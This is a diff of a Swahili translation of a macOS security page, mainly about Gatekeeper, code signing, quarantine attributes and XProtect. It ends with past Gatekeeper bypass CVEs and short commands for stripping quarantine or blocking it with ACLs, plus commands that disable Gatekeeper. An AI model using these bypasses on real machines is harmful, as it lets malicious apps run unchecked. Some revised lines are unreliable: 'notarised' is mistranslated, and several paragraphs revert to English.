toleo la kihistoria la APatch/SKRoot) unaweza kuwa dhaifu ikiwa nenosiri yanaweza kukisiwa/kupigwa nguvu au uthibitisho ni wa kasoro. +- Uthibitisho wa msingi wa nenosiri (mfano, toleo la kihistoria la APatch/SKRoot) unaweza kuwa dhaifu ikiwa nenosiri linaweza kukisiwa/kupigwa nguvu au uthibitisho ni wa kasoro. - Uthibitisho wa msingi wa kifurushi/saini (mfano, KernelSU) ni thabiti kwa kanuni lakini lazima uunganishwe na mpiga simu halisi, si vitu vya moja kwa moja kama skana za FD. - Magisk: CVE-2024-48336 (MagiskEoP) ilionyesha kwamba hata mifumo iliyokomaa inaweza kuwa na hatari ya kudanganya kitambulisho inayopelekea utekelezaji wa msimbo na root ndani ya muktadha wa meneja. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index 50ead0bf5..24e548469 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -5,25 +5,25 @@ ## Gatekeeper -**Gatekeeper** ni kipengele cha usalama kilichotengenezwa kwa mifumo ya uendeshaji ya Mac, kilichoundwa kuhakikisha kwamba watumiaji **wanatumia tu programu zinazotegemewa** kwenye mifumo yao. Inafanya kazi kwa **kuhakiki programu** ambayo mtumiaji anapakua na kujaribu kufungua kutoka **vyanzo vya nje ya App Store**, kama vile programu, plug-in, au kifurushi cha installer. +**Gatekeeper** ni kipengele cha usalama kilichoundwa kwa mifumo ya uendeshaji ya Mac, kilichokusudia kuhakikisha kwamba watumiaji **wanatumia tu programu zinazotegemewa** kwenye mifumo yao. Inafanya kazi kwa **kuhakiki programu** ambayo mtumiaji anapakua na kujaribu kufungua kutoka **vyanzo vya nje ya Duka la Programu**, kama vile programu, plug-in, au kifurushi cha installer. -Mekaniki kuu ya Gatekeeper iko katika mchakato wake wa **kuhakiki**. Inakagua ikiwa programu iliyopakuliwa ime **sainiwa na mtengenezaji anayekubalika**, kuhakikisha uhalali wa programu hiyo. Zaidi ya hayo, inathibitisha ikiwa programu hiyo ime **notarised na Apple**, ikithibitisha kwamba haina maudhui mabaya yanayojulikana na haijabadilishwa baada ya notarisation. +Mekaniki kuu ya Gatekeeper inategemea **mchakato wa uthibitishaji**. Inakagua ikiwa programu iliyopakuliwa **imeandikwa na mtengenezaji anayekubalika**, kuhakikisha uhalali wa programu hiyo. Zaidi ya hayo, inathibitisha ikiwa programu hiyo **imeandikwa na Apple**, ikithibitisha kwamba haina maudhui mabaya yanayojulikana na haijabadilishwa baada ya kuandikwa. -Zaidi ya hayo, Gatekeeper inaimarisha udhibiti wa mtumiaji na usalama kwa **kuwataka watumiaji kuidhinisha ufunguzi** wa programu iliyopakuliwa kwa mara ya kwanza. Ulinzi huu husaidia kuzuia watumiaji kukimbiza kwa bahati mbaya msimbo wa utendaji ambao unaweza kuwa na madhara ambao wanaweza kuwa wamechukulia kama faili ya data isiyo na madhara. +Zaidi, Gatekeeper inaimarisha udhibiti wa mtumiaji na usalama kwa **kuwataka watumiaji kuidhinisha ufunguzi** wa programu zilizopakuliwa kwa mara ya kwanza. Ulinzi huu husaidia kuzuia watumiaji kukimbiza kwa bahati mbaya msimbo wa utendaji ambao unaweza kuwa na madhara ambao wanaweza kuwa wameukosea kwa faili ya data isiyo na madhara. ### Application Signatures -Saini za programu, pia zinajulikana kama saini za msimbo, ni sehemu muhimu ya miundombinu ya usalama ya Apple. Zinatumika ku **hakiki utambulisho wa mwandishi wa programu** (mtengenezaji) na kuhakikisha kwamba msimbo haujabadilishwa tangu uliposainiwa mara ya mwisho. +Saini za programu, pia zinajulikana kama saini za msimbo, ni sehemu muhimu ya miundombinu ya usalama ya Apple. Zinatumika ku **thibitisha utambulisho wa mwandishi wa programu** (mtengenezaji) na kuhakikisha kwamba msimbo haujabadilishwa tangu ilipotiwa kwa mara ya mwisho. -Hapa kuna jinsi inavyofanya kazi: +Hivi ndivyo inavyofanya kazi: -1. **Kusaini Programu:** Wakati mtengenezaji yuko tayari kusambaza programu yao, wan **asaini programu hiyo kwa kutumia funguo binafsi**. Funguo hii binafsi inahusishwa na **cheti ambacho Apple inatoa kwa mtengenezaji** wanapojisajili katika Programu ya Wataalamu wa Apple. Mchakato wa kusaini unajumuisha kuunda hash ya kijiografia ya sehemu zote za programu na kuificha hash hii kwa funguo binafsi za mtengenezaji. +1. **Kusaini Programu:** Wakati mtengenezaji yuko tayari kusambaza programu yao, wan **asaini programu kwa kutumia funguo ya faragha**. Funguo hii ya faragha inahusishwa na **cheti ambacho Apple inatoa kwa mtengenezaji** wanapojisajili katika Programu ya Wataalamu wa Apple. Mchakato wa kusaini unajumuisha kuunda hash ya kijiografia ya sehemu zote za programu na kuificha hash hii kwa funguo ya faragha ya mtengenezaji. 2. **Kusambaza Programu:** Programu iliyosainiwa kisha inasambazwa kwa watumiaji pamoja na cheti cha mtengenezaji, ambacho kinafunguo ya umma inayolingana. -3. **Kuhakiki Programu:** Wakati mtumiaji anapakua na kujaribu kuendesha programu, mfumo wa uendeshaji wa Mac unatumia funguo ya umma kutoka kwa cheti cha mtengenezaji kufichua hash. Kisha inarejesha hash kulingana na hali ya sasa ya programu na kulinganisha hii na hash iliyofichuliwa. Ikiwa zinakubaliana, inamaanisha **programu hiyo haijabadilishwa** tangu mtengenezaji aisaini, na mfumo unaruhusu programu hiyo kuendesha. +3. **Kuthibitisha Programu:** Wakati mtumiaji anapakua na kujaribu kuendesha programu, mfumo wa uendeshaji wa Mac unatumia funguo ya umma kutoka kwa cheti cha mtengenezaji kufichua hash. Kisha inarejesha hash kulingana na hali ya sasa ya programu na kulinganisha hii na hash iliyofichuliwa. Ikiwa zinakubaliana, inamaanisha **programu hiyo haijabadilishwa** tangu mtengenezaji aisaini, na mfumo unaruhusu programu hiyo kuendesha. -Saini za programu ni sehemu muhimu ya teknolojia ya Gatekeeper ya Apple. Wakati mtumiaji anajaribu **kufungua programu iliyopakuliwa kutoka mtandao**, Gatekeeper inahakiki saini ya programu. Ikiwa imesainiwa kwa cheti kilichotolewa na Apple kwa mtengenezaji anayejulikana na msimbo haujabadilishwa, Gatekeeper inaruhusu programu hiyo kuendesha. Vinginevyo, inazuia programu hiyo na kumjulisha mtumiaji. +Saini za programu ni sehemu muhimu ya teknolojia ya Gatekeeper ya Apple. Wakati mtumiaji anajaribu **kufungua programu iliyopakuliwa kutoka mtandao**, Gatekeeper inathibitisha saini ya programu. Ikiwa imeandikwa na cheti kilichotolewa na Apple kwa mtengenezaji anayejulikana na msimbo haujabadilishwa, Gatekeeper inaruhusu programu hiyo kuendesha. Vinginevyo, inazuia programu hiyo na kumjulisha mtumiaji. -Kuanzia macOS Catalina, **Gatekeeper pia inakagua ikiwa programu hiyo ime notarised** na Apple, ikiongeza safu ya ziada ya usalama. Mchakato wa notarisation unakagua programu hiyo kwa masuala ya usalama yanayojulikana na msimbo mbaya, na ikiwa ukaguzi huu unakubalika, Apple inaongeza tiketi kwa programu ambayo Gatekeeper inaweza kuithibitisha. +Kuanzia macOS Catalina, **Gatekeeper pia inakagua ikiwa programu hiyo imeandikwa** na Apple, ikiongeza safu ya ziada ya usalama. Mchakato wa kuandikwa unakagua programu hiyo kwa masuala ya usalama yanayojulikana na msimbo mbaya, na ikiwa ukaguzi huu unakubalika, Apple inaongeza tiketi kwa programu ambayo Gatekeeper inaweza kuthibitisha. #### Check Signatures @@ -55,9 +55,9 @@ Wakati wa usakinishaji au utekelezaji wa kwanza wa programu na mtumiaji, uwepo w ### spctl & syspolicyd > [!CAUTION] -> Kumbuka kwamba kuanzia toleo la Sequoia, **`spctl`** haiwaruhusu kubadilisha usanidi wa Gatekeeper tena. +> Kumbuka kwamba kuanzia toleo la Sequoia, **`spctl`** haiwezeshi kubadilisha usanidi wa Gatekeeper tena. -**`spctl`** ni zana ya CLI ya kuorodhesha na kuingiliana na Gatekeeper (pamoja na daemon ya `syspolicyd` kupitia ujumbe wa XPC). Kwa mfano, inawezekana kuona **hali** ya GateKeeper kwa: +**`spctl`** ni chombo cha CLI cha kuorodhesha na kuingiliana na Gatekeeper (pamoja na daemon ya `syspolicyd` kupitia ujumbe wa XPC). Kwa mfano, inawezekana kuona **hali** ya GateKeeper kwa: ```bash # Check the status spctl --status @@ -71,7 +71,7 @@ GateKeeper itakagua ikiwa kulingana na **mapendeleo & saini** binary inaweza kut **`syspolicyd`** ndiye daemon mkuu anayehusika na kutekeleza Gatekeeper. Inashikilia hifadhidata iliyoko katika `/var/db/SystemPolicy` na inawezekana kupata msimbo wa kusaidia [hifadhidata hapa](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) na [templeti ya SQL hapa](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Kumbuka kwamba hifadhidata hiyo haina vizuizi vya SIP na inaweza kuandikwa na root na hifadhidata `/var/db/.SystemPolicy-default` inatumika kama nakala ya awali endapo nyingine itaharibika. -Zaidi ya hayo, vifurushi **`/var/db/gke.bundle`** na **`/var/db/gkopaque.bundle`** vina faili zenye sheria ambazo zinaingizwa katika hifadhidata. Unaweza kuangalia hifadhidata hii kama root kwa: +Zaidi ya hayo, bundles **`/var/db/gke.bundle`** na **`/var/db/gkopaque.bundle`** zina faili zenye sheria ambazo zinaingizwa katika hifadhidata. Unaweza kuangalia hifadhidata hii kama root kwa: ```bash # Open database sqlite3 /var/db/SystemPolicy @@ -87,7 +87,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an ``` **`syspolicyd`** pia inatoa seva ya XPC yenye operesheni tofauti kama `assess`, `update`, `record` na `cancel` ambazo pia zinaweza kufikiwa kwa kutumia **`Security.framework`'s `SecAssessment*`** APIs na **`spctl`** kwa kweli inazungumza na **`syspolicyd`** kupitia XPC. -Tazama jinsi sheria ya kwanza ilivyomalizika katika "**App Store**" na ya pili katika "**Developer ID**" na kwamba katika picha iliyopita ilikuwa **imewezeshwa kutekeleza programu kutoka kwa App Store na waendelezaji waliotambulika**.\ +Tazama jinsi sheria ya kwanza ilivyomalizika kwa "**App Store**" na ya pili kwa "**Developer ID**" na kwamba katika picha iliyopita ilikuwa **imewezeshwa kutekeleza programu kutoka kwa App Store na waendelezaji waliotambulika**.\ Ikiwa **unabadilisha** mipangilio hiyo kuwa App Store, sheria za "**Notarized Developer ID" zitaondoka**. Pia kuna maelfu ya sheria za **aina GKE** : @@ -119,7 +119,7 @@ spctl --master-disable spctl --global-enable spctl --master-enable ``` -Wakati imewezeshwa kabisa, chaguo jipya litajitokeza: +Wakati umewezeshwa kabisa, chaguo jipya litajitokeza:
@@ -146,7 +146,7 @@ Regarding **kernel extensions**, the folder `/var/db/SystemPolicyConfiguration` #### Managing Gatekeeper on macOS 15 (Sequoia) and later -Kuanza katika macOS 15 Sequoia, watumiaji wa mwisho hawawezi tena kubadilisha sera ya Gatekeeper kutoka `spctl`. Usimamizi unafanywa kupitia Mipangilio ya Mfumo au kwa kutekeleza wasifu wa usanidi wa MDM na mzigo wa `com.apple.systempolicy.control`. Mfano wa kipande cha wasifu kuruhusu Duka la Programu na waendelezaji waliotambulika (lakini si "Popote"): +Kuanza katika macOS 15 Sequoia, watumiaji wa mwisho hawawezi tena kubadilisha sera ya Gatekeeper kutoka `spctl`. Usimamizi unafanywa kupitia Mipangilio ya Mfumo au kwa kutekeleza wasifu wa usanidi wa MDM na payload ya `com.apple.systempolicy.control`. Mfano wa kipande cha wasifu kuruhusu Duka la Programu na waendelezaji waliotambulika (lakini si "Popote"): ```xml @@ -180,15 +180,15 @@ Kuanza katika macOS 15 Sequoia, watumiaji wa mwisho hawawezi tena kubadilisha se ``` -### Fail za Kuzuia +### Faili ya Kuzuia -Baada ya **kupakua** programu au faili, programu maalum za macOS kama vile vivinjari vya wavuti au wateja wa barua pepe **huongeza sifa ya faili iliyopanuliwa**, inayojulikana kama "**bendera ya kuzuia**," kwa faili iliyopakuliwa. Sifa hii inafanya kazi kama kipimo cha usalama ili **kuashiria faili** kama inatoka kwenye chanzo kisichoaminika (mtandao), na inaweza kubeba hatari. Hata hivyo, si programu zote huongeza sifa hii, kwa mfano, programu maarufu za mteja wa BitTorrent kawaida hupita mchakato huu. +Baada ya **kupakua** programu au faili, programu maalum za macOS kama vile vivinjari vya wavuti au wateja wa barua pepe **huongeza sifa ya faili iliyopanuliwa**, inayojulikana kwa jina la "**bendera ya kuzuia**," kwa faili iliyopakuliwa. Sifa hii inafanya kazi kama kipimo cha usalama ili **kuashiria faili** kama inatoka kwenye chanzo kisichoaminika (mtandao), na inaweza kubeba hatari. Hata hivyo, si programu zote huongeza sifa hii, kwa mfano, programu maarufu za mteja wa BitTorrent kawaida hupita mchakato huu. **Kuwepo kwa bendera ya kuzuia kunaashiria kipengele cha usalama cha Gatekeeper cha macOS wakati mtumiaji anajaribu kutekeleza faili hiyo**. Katika hali ambapo **bendera ya kuzuia haipo** (kama ilivyo kwa faili zilizopakuliwa kupitia baadhi ya wateja wa BitTorrent), **ukaguzi wa Gatekeeper unaweza kutofanyika**. Hivyo, watumiaji wanapaswa kuwa waangalifu wanapofungua faili zilizopakuliwa kutoka kwa vyanzo visivyo salama au visivyojulikana. -> [!NOTE] > **Kuangalia** **halali** ya saini za msimbo ni mchakato wa **rasilimali nyingi** unaojumuisha kuunda **hashes** za kificho za msimbo na rasilimali zake zote zilizofungwa. Zaidi ya hayo, kuangalia halali ya cheti kunahusisha kufanya **ukaguzi mtandaoni** kwa seva za Apple ili kuona kama kimeondolewa baada ya kutolewa. Kwa sababu hizi, ukaguzi kamili wa saini ya msimbo na notarization ni **mgumu kufanywa kila wakati programu inapoanzishwa**. +> [!NOTE] > **Kuangalia** **halali** ya saini za msimbo ni mchakato wa **rasilimali nyingi** unaojumuisha kuunda **hashes** za kificho za msimbo na rasilimali zake zote zilizofungwa. Zaidi ya hayo, kuangalia halali ya cheti kunahusisha kufanya **ukaguzi mtandaoni** kwa seva za Apple ili kuona kama kimeondolewa baada ya kutolewa. Kwa sababu hizi, ukaguzi kamili wa saini ya msimbo na uthibitisho ni **mgumu kufanywa kila wakati programu inapoanzishwa**. > > Kwa hivyo, ukaguzi huu **ufanywa tu wakati wa kutekeleza programu zenye sifa ya kuzuia.** @@ -208,7 +208,7 @@ spctl --enable spctl --disable #You can also allow nee identifies to execute code using the binary "spctl" ``` -Unaweza pia **kupata kama faili ina sifa ya kupigwa karantini** na: +Unaweza pia **kupata kama faili ina sifa ya kupambana na karantini** kwa kutumia: ```bash xattr file.png com.apple.macl @@ -306,33 +306,33 @@ Na pata faili zote zilizowekwa karantini kwa: ```bash find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine" ``` -Quarantine information pia inahifadhiwa katika database kuu inayosimamiwa na LaunchServices katika **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** ambayo inaruhusu GUI kupata data kuhusu asili za faili. Aidha, hii inaweza kubadilishwa na programu ambazo zinaweza kuwa na nia ya kuficha asili zake. Aidha, hii inaweza kufanywa kutoka kwa LaunchServices APIS. +Quarantine information is also stored in a central database managed by LaunchServices in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** which allows the GUI to obtain data about the file origins. Moreover this can be overwritten by applications which might be interested in hiding its origins. Moreover, this can be done from LaunchServices APIS. #### **libquarantine.dylib** -Maktaba hii inatoa kazi kadhaa ambazo zinaruhusu kubadilisha maeneo ya sifa za kupanuliwa. +This library exports several functions that allow to manipulate the extended attribute fields. -APIs za `qtn_file_*` zinahusiana na sera za karantini za faili, APIs za `qtn_proc_*` zinatumika kwa michakato (faili zilizoundwa na mchakato). Kazi zisizotolewa za `__qtn_syscall_quarantine*` ndizo zinazotumia sera ambazo zinaita `mac_syscall` na "Quarantine" kama hoja ya kwanza ambayo inatuma maombi kwa `Quarantine.kext`. +The `qtn_file_*` APIs deal with file quarantine policies, the `qtn_proc_*` APIs are applied to processes (files created by the process). The unexported `__qtn_syscall_quarantine*` functions are the ones that applies the policies which calls `mac_syscall` with "Quarantine" as first argument which sends the requests to `Quarantine.kext`. #### **Quarantine.kext** -Kipanuzi cha kernel kinapatikana tu kupitia **kernel cache kwenye mfumo**; hata hivyo, unaweza kupakua **Kernel Debug Kit kutoka** [**https://developer.apple.com/**](https://developer.apple.com/), ambayo itakuwa na toleo lililosimbwa la kipanuzi hicho. +The kernel extension is only available through the **kernel cache on the system**; however, you _can_ download the **Kernel Debug Kit from** [**https://developer.apple.com/**](https://developer.apple.com/), which will contain a symbolicated version of the extension. -Kext hii itashughulikia kupitia MACF simu kadhaa ili kukamata matukio yote ya mzunguko wa faili: Uumbaji, ufunguzi, upatanishi, kuunganisha ngumu... hata `setxattr` ili kuzuia kuweka sifa ya kupanuliwa ya `com.apple.quarantine`. +This Kext will hook via MACF several calls in order to traps all file lifecycle events: Creation, opening, renaming, hard-linkning... even `setxattr` to prevent it from setting the `com.apple.quarantine` extended attribute. -Pia inatumia MIB kadhaa: +It also uses a couple of MIBs: -- `security.mac.qtn.sandbox_enforce`: Lazimisha karantini pamoja na Sandbox -- `security.mac.qtn.user_approved_exec`: Michakato iliyowekwa karantini inaweza tu kutekeleza faili zilizothibitishwa +- `security.mac.qtn.sandbox_enforce`: Enforce quarantine along Sandbox +- `security.mac.qtn.user_approved_exec`: Querantined procs can only execute approved files -#### Provenance xattr (Ventura na baadaye) +#### Provenance xattr (Ventura and later) -macOS 13 Ventura ilianzisha mekanizma tofauti ya asili ambayo inajazwa mara ya kwanza programu iliyowekwa karantini inaporuhusiwa kuendesha. Vitu viwili vinaundwa: +macOS 13 Ventura introduced a separate provenance mechanism which is populated the first time a quarantined app is allowed to run. Two artefacts are created: -- Sifa ya `com.apple.provenance` kwenye directory ya `.app` bundle (thamani ya binary yenye ukubwa wa kudumu inayojumuisha ufunguo wa msingi na bendera). -- Safu katika jedwali la `provenance_tracking` ndani ya database ya ExecPolicy katika `/var/db/SystemPolicyConfiguration/ExecPolicy/` ikihifadhi cdhash ya programu na metadata. +- The `com.apple.provenance` xattr on the `.app` bundle directory (fixed-size binary value containing a primary key and flags). +- A row in the `provenance_tracking` table inside the ExecPolicy database at `/var/db/SystemPolicyConfiguration/ExecPolicy/` storing the app’s cdhash and metadata. -Matumizi ya vitendo: +Practical usage: ```bash # Inspect provenance xattr (if present) xattr -p com.apple.provenance /Applications/Some.app | hexdump -C @@ -345,13 +345,13 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM ``` ### XProtect -XProtect ni kipengele cha ndani cha **anti-malware** katika macOS. XProtect **huchunguza programu yoyote inapozinduliwa au kubadilishwa kwa mara ya kwanza dhidi ya hifadhidata yake** ya malware inayojulikana na aina za faili zisizo salama. Unaposhusha faili kupitia programu fulani, kama Safari, Mail, au Messages, XProtect kiotomatiki huchanganua faili hiyo. Ikiwa inalingana na malware yoyote inayojulikana katika hifadhidata yake, XProtect it **zuia faili hiyo isifanye kazi** na kukuarifu kuhusu tishio hilo. +XProtect ni kipengele cha ndani cha **anti-malware** katika macOS. XProtect **huchunguza programu yoyote inapozinduliwa au kubadilishwa kwa mara ya kwanza dhidi ya hifadhidata yake** ya malware inayojulikana na aina za faili zisizo salama. Unaposhusha faili kupitia programu fulani, kama Safari, Mail, au Messages, XProtect kwa otomatiki huangalia faili hiyo. Ikiwa inalingana na malware yoyote inayojulikana katika hifadhidata yake, XProtect **itaizuia faili hiyo isifanye kazi** na kukujulisha kuhusu tishio hilo. Hifadhidata ya XProtect **inasasishwa mara kwa mara** na Apple kwa ufafanuzi mpya wa malware, na sasisho hizi zinashushwa na kufungwa kiotomatiki kwenye Mac yako. Hii inahakikisha kwamba XProtect iko daima na habari za hivi punde kuhusu vitisho vinavyojulikana. Hata hivyo, inafaa kutambua kwamba **XProtect si suluhisho kamili la antivirus**. Inachunguza tu orodha maalum ya vitisho vinavyojulikana na haisahihishi skanning ya upatikanaji kama programu nyingi za antivirus. -Unaweza kupata habari kuhusu sasisho la hivi punde la XProtect likifanya kazi: +Unaweza kupata habari kuhusu sasisho la hivi punde la XProtect ukikimbia: ```bash system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 ``` @@ -360,11 +360,11 @@ XProtect iko kwenye. SIP iliyo na ulinzi mahali kwenye **/Library/Apple/System/L - **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Inaruhusu msimbo wenye cdhashes hizo kutumia ruhusa za zamani. - **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Orodha ya plugins na nyongeza ambazo haziruhusiwi kupakia kupitia BundleID na TeamID au kuashiria toleo la chini. - **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Sheria za Yara kugundua malware. -- **`XProtect.bundle/Contents/Resources/gk.db`**: Hifadhidata ya SQLite3 yenye hashes za programu zilizozuiwa na TeamIDs. +- **`XProtect.bundle/Contents/Resources/gk.db`**: Hifadhidata ya SQLite3 yenye hashes za programu zilizozuiliwa na TeamIDs. Kumbuka kwamba kuna App nyingine katika **`/Library/Apple/System/Library/CoreServices/XProtect.app`** inayohusiana na XProtect ambayo haihusiki na mchakato wa Gatekeeper. -> XProtect Remediator: Katika macOS ya kisasa, Apple inatoa skana za mahitaji (XProtect Remediator) ambazo zinafanya kazi mara kwa mara kupitia launchd kugundua na kurekebisha familia za malware. Unaweza kuona skana hizi katika kumbukumbu za umoja: +> XProtect Remediator: Katika macOS ya kisasa, Apple inatoa skana za mahitaji (XProtect Remediator) ambazo zinafanya kazi mara kwa mara kupitia launchd kugundua na kurekebisha familia za malware. Unaweza kuona skana hizi katika kumbukumbu zilizounganishwa: > > ```bash > log show --last 2h --predicate 'subsystem == "com.apple.XProtectFramework" || category CONTAINS "XProtect"' --style syslog @@ -373,15 +373,15 @@ Kumbuka kwamba kuna App nyingine katika **`/Library/Apple/System/Library/CoreSer ### Si Gatekeeper > [!CAUTION] -> Kumbuka kwamba Gatekeeper **haitekelezwi kila wakati** unapoendesha programu, ni _**AppleMobileFileIntegrity**_ (AMFI) tu itakay **thibitisha saini za msimbo wa kutekeleza** unapofanya kazi na programu ambayo tayari imeendesha na kuthibitishwa na Gatekeeper. +> Kumbuka kwamba Gatekeeper **haitekelezwi kila wakati** unapotekeleza programu, ni _**AppleMobileFileIntegrity**_ (AMFI) tu itakay **thibitisha saini za msimbo wa kutekeleza** unapotekeleza programu ambayo tayari imefanywa kazi na kuthibitishwa na Gatekeeper. -Kwa hivyo, hapo awali ilikuwa inawezekana kuendesha programu ili kuikatia akiba na Gatekeeper, kisha **kubadilisha faili zisizo za kutekeleza za programu** (kama vile Electron asar au faili za NIB) na ikiwa hakuna ulinzi mwingine ulio kuwekwa, programu hiyo ilikuwa **ikiendesha** na **nyongeza** za **hatari**. +Kwa hivyo, hapo awali ilikuwa inawezekana kutekeleza programu ili kuikatia akiba na Gatekeeper, kisha **kubadilisha faili zisizotekelezwa za programu** (kama vile Electron asar au faili za NIB) na ikiwa hakuna ulinzi mwingine ulio kuwekwa, programu hiyo ilitekelezwa na **nyongeza** za **hatari**. -Hata hivyo, sasa hii haiwezekani kwa sababu macOS **inazuia kubadilisha faili** ndani ya bundles za programu. Hivyo, ukijaribu shambulio la [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), utagundua kwamba si tena inawezekana kulitumia kwa sababu baada ya kuendesha programu ili kuikatia akiba na Gatekeeper, huwezi kubadilisha bundle hiyo. Na ikiwa badala yake unabadilisha jina la saraka ya Contents kuwa NotCon (kama ilivyoonyeshwa katika exploit), kisha uendeshe binary kuu ya programu ili kuikatia akiba na Gatekeeper, itasababisha kosa na haitatekelezwa. +Hata hivyo, sasa hii haiwezekani kwa sababu macOS **inazuia kubadilisha faili** ndani ya bundles za programu. Hivyo, ukijaribu shambulio la [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), utagundua kwamba si tena inawezekana kulitumia kwa sababu baada ya kutekeleza programu ili kuikatia akiba na Gatekeeper, huwezi kubadilisha bundle hiyo. Na ikiwa badala yake unabadilisha jina la saraka ya Contents kuwa NotCon (kama ilivyoonyeshwa katika exploit), kisha kutekeleza binary kuu ya programu ili kuikatia akiba na Gatekeeper, itasababisha kosa na haitatekelezwa. ## Bypasses za Gatekeeper -Njia yoyote ya kupita Gatekeeper (kufanikiwa kumfanya mtumiaji apakue kitu na kukitekeleza wakati Gatekeeper inapaswa kukikataa) inachukuliwa kama udhaifu katika macOS. Hizi ni baadhi ya CVEs zilizotolewa kwa mbinu ambazo ziliruhusu kupita Gatekeeper katika siku za nyuma: +Njia yoyote ya kupita Gatekeeper (kufanikiwa kumfanya mtumiaji apakue kitu na kukitekeleza wakati Gatekeeper inapaswa kukataa) inachukuliwa kuwa udhaifu katika macOS. Hizi ni baadhi ya CVEs zilizotolewa kwa mbinu ambazo ziliruhusu kupita Gatekeeper katika siku za nyuma: ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) @@ -391,17 +391,17 @@ Angalia [**ripoti ya asili**](https://labs.withsecure.com/publications/the-disco ### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper) -Wakati programu inaundwa kwa kutumia **Automator**, taarifa kuhusu kile inachohitaji kutekeleza iko ndani ya `application.app/Contents/document.wflow` si katika executable. Executable ni binary ya jumla ya Automator inayoitwa **Automator Application Stub**. +Wakati programu inaundwa kwa **Automator**, taarifa kuhusu kile inachohitaji kutekeleza iko ndani ya `application.app/Contents/document.wflow` si katika executable. Executable ni binary ya jumla ya Automator inayoitwa **Automator Application Stub**. -Hivyo, unaweza kufanya `application.app/Contents/MacOS/Automator\ Application\ Stub` **kuonyesha kwa kiunga cha alama kwa Automator Application Stub nyingine ndani ya mfumo** na itatekeleza kile kilichomo ndani ya `document.wflow` (script yako) **bila kuamsha Gatekeeper** kwa sababu executable halisi haina xattr ya karantini. +Hivyo, unaweza kufanya `application.app/Contents/MacOS/Automator\ Application\ Stub` **kuashiria kwa kiungo cha alama kwa Automator Application Stub nyingine ndani ya mfumo** na itatekeleza kile kilichomo ndani ya `document.wflow` (script yako) **bila kuamsha Gatekeeper** kwa sababu executable halisi haina xattr ya karantini. -Mfano wa mahali inatarajiwa: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` +Mfano wa mahali panatarajiwa: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub` Angalia [**ripoti ya asili**](https://ronmasas.com/posts/bypass-macos-gatekeeper) kwa maelezo zaidi. ### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) -Katika bypass hii, faili ya zip iliundwa na programu ikianza kubana kutoka `application.app/Contents` badala ya `application.app`. Hivyo, **sifa ya karantini** ilitumika kwa **faili zote kutoka `application.app/Contents`** lakini **siyo kwa `application.app`**, ambayo ilikuwa inakaguliwa na Gatekeeper, hivyo Gatekeeper ilipita kwa sababu wakati `application.app` ilipohamasishwa **haikuwa na sifa ya karantini.** +Katika bypass hii, faili ya zip iliundwa na programu ikianza kubana kutoka `application.app/Contents` badala ya `application.app`. Hivyo, **sifa ya karantini** ilitumika kwa **faili zote kutoka `application.app/Contents`** lakini **siyo kwa `application.app`**, ambayo ilikuwa inakaguliwa na Gatekeeper, hivyo Gatekeeper ilipita kwa sababu wakati `application.app` iliposhughulikiwa **haikuwa na sifa ya karantini.** ```bash zip -r test.app/Contents test.zip ``` @@ -413,7 +413,7 @@ Hata kama vipengele ni tofauti, matumizi ya udhaifu huu ni sawa sana na ule wa a ```bash aa archive -d test.app/Contents -o test.app.aar ``` -Angalia [**ripoti ya asili**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) kwa maelezo zaidi. +Angalia [**ripoti asilia**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) kwa maelezo zaidi. ### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) @@ -424,9 +424,9 @@ chmod +a "everyone deny writeextattr" /tmp/no-attr xattr -w attrname vale /tmp/no-attr xattr: [Errno 13] Permission denied: '/tmp/no-attr' ``` -Zaidi ya hayo, muundo wa faili wa **AppleDouble** unakopi faili ikiwa ni pamoja na ACE zake. +Zaidi ya hayo, muundo wa faili wa **AppleDouble** unakopi faili pamoja na ACE zake. -Katika [**source code**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) inawezekana kuona kwamba uwakilishi wa maandiko wa ACL ulihifadhiwa ndani ya xattr inayoitwa **`com.apple.acl.text`** utawekwa kama ACL katika faili lililoshinikizwa. Hivyo, ikiwa umeweka programu katika faili la zip kwa muundo wa faili wa **AppleDouble** ukiwa na ACL inayozuia xattrs nyingine kuandikwa ndani yake... xattr ya karantini haikuwekwa katika programu: +Katika [**source code**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) inawezekana kuona kwamba uwakilishi wa maandiko wa ACL ulihifadhiwa ndani ya xattr inayoitwa **`com.apple.acl.text`** utawekwa kama ACL katika faili lililoondolewa. Hivyo, ikiwa umecompress programu katika faili la zip kwa muundo wa faili wa **AppleDouble** ukiwa na ACL inayozuia xattrs nyingine kuandikwa ndani yake... xattr ya karantini haikuwekwa 